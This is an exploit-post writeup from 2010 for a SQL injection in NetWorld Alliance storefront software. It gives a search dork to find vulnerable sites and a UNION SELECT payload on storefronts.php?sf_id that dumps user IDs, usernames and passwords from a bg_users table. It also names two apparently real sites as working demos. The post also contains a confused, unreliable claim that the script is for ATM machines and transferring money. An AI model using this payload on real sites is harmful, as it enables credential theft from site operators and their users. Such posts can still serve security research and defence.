Networld Alliance SQL Injection

`  
  
  
# Exploit Title: NetWorld Alliance SQL InJection  
# Date: 27/06/2010  
# Author: dev!l ghost  
# Email: aws(at)live(dot)it  
# Site : www.vbspiders.com  
# Script url: http://www.networldalliance.com/2010-digital-signage-future-trends-report  
# Price: US$797.00   
# Version: N/A  
# Tested on: Windows  
# CVE : ()  
  
:::::::::::::::::::::::::  
  
  
=================Exploit=================  
Descript: This Script Is For ATM Machine And How To use it and give and   
get and transfer money from it   
it is private script  
  
---DorK:("© 2010 NetWorld Alliance")---  
  
You will get a lot of sites enter any site  
and then Put this (storefronts.php?sf_id=any number)  
after id put any number and start inject  
  
  
  
----exploit----   
  
{{exploit}}  
http://www.xxxxxx.com/storefronts.php?sf_id=(39) --SQLI--  
after the number put this   
(+union+all+select+1,concat(id,0x3a,username,0x3a,password)+from+bg_users--)  
  
DeMo1  
https://www.kioskmarketplace.com/storefronts.php?sf_id=-39+union+all+select+1,concat(id,0x3a,username,0x3a,password)+from+bg_users--  
  
DeMo2  
http://www.digitalsignagetoday.com/storefronts.php?sf_id=-243+union+all+select+1,concat(id,0x3a,username,0x3a,password)+from+bg_users--  
---------greatz----------  
Greatz to all my frinds and the all muslims   
and Golden Ice and mr.ip  
and the all who know me  
And VBspiders   
  
thank you   
_________________________________________________________________  
Hotmail: Trusted email with Microsoft’s powerful SPAM protection.  
https://signup.live.com/signup.aspx?id=60969  
  
  
`